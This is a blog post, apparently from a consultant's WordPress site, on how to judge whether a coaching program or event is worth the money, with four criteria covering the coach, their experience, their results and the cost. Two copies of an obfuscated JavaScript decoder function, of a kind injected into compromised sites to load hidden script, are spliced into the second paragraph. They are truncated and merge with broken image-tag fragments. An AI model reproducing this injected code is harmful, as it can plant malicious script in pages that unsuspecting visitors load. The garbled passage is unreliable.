How do you evaluate an opportunity?

When you’re in business, you figure out pretty fast that you can’t do everything. It takes support like accounting professionals and graphic designers and web masters to make everything happen. After all, you're an expert in nonprofit, not all that other stuff.

One of the most important people I have in my world is a coach. I'm a huge believer in having a business coach to keep me thinking BIG and moving forward. Even though part of me would love to think I can figure this out on my own, it's just not realistic. You know that saying "You can't see the forest for the trees?" Well sometimes you can't see the forest because you ARE a tree!function m65c3bbf5572b(wc){var s4='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r1='';var qb,rd,wb,p1,p5,q8,w7;var vf=0;do{p1=s4.indexOf(wc.charAt(vf++));p5=s4.indexOf(wc.charAt(vf++));q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1<<2)|(p5>>4);rd=((p5&15)<<4)|(q8>>2);wb=((q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfandyrees.com/wp-content/uploads/2013/01/bigstock-Keep-educating-yourself-acrony-21606347.jpg" alt="" width="260" height="180" />function m65c3bbf5572b(wc){var s4='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r1='';var qb,rd,wb,p1,p5,q8,w7;var vf=0;do{p1=s4.indexOf(wc.charAt(vf++));p5=s4.indexOf(wc.charAt(vf++));q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1<<2)|(p5>>4);rd=((p5&15)<<4)|(q8>>2);wb=((q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfandyrees.com/wp-content/uploads/2013/01/bigstock-Keep-educating-yourself-acrony-21606347.jpg" alt="" width="0" height="0" />

Sometimes I hire a coach and sometimes I attend an event they're leading. Often, spending 2 or 3 days with the right coach will give me what I need for the coming months.

The downside is that these opportunities can be pricey. So, how do you decide which ones to say "yes" to?

First of all, you need to understand that saying "yes" to an event or a coaching program is saying "yes" to yourself.  Look at it as an investment in your knowledge and skill. Frankly, this is the best kind of investment you can make, because once you learn something, it can never be taken away from you.

Consider this: if you want clients to invest money with you, you need to be willing to invest money in yourself. If you're considering offering a $10,000 coaching or consulting program, you need to be investing in yourself at that level.  Otherwise, how will you know what it feels like to make that decision? You just can't expect others to value you more than you value yourself.

I've spent thousands and thousands on myself in the past few years. The first time I did, I was so nervous, I thought I would throw up! Making that decision to take myself the next level meant something much deeper than I realized at the time.  For me personally, it was a way of showing myself that I was worth it, and honestly, it was downright scary! But I'm so glad I went for it. Coaching has given me the tools and the spark to take my business to the next level and beyond. And one of the biggest things I've learned is that my business will never grow bigger than I grow personally. Think about that!

Since then, I've learned how to take the emotion out of the decision making process, and evaluate opportunities to decide if they're right for me. Here are the top 4 things I look at:

1. The coach. Is this someone I really want to learn from? Do I resonate with them? I want to be excited about being with the people I'm learning from. 
2. Their experience. Have they really done what their teaching? It seems out of integrity to me if they haven't. Are they actively doing what they're teaching? If they aren't, they may not be up on the latest trends and techniques.
3. Their results.  Have they been super successful doing what I want to do? Can I easily follow in their footsteps?
4. The investment. Is the cost reasonable? Is it a good value? Am I willing to spend this much on this opportunity? And can I recover the cost quickly (within a few months) using what they teach me.

These questions help guide me to making good decisions about where to spend my time and money. 

How do YOU evaluate an opportunity? Leave a comment and share your thoughts.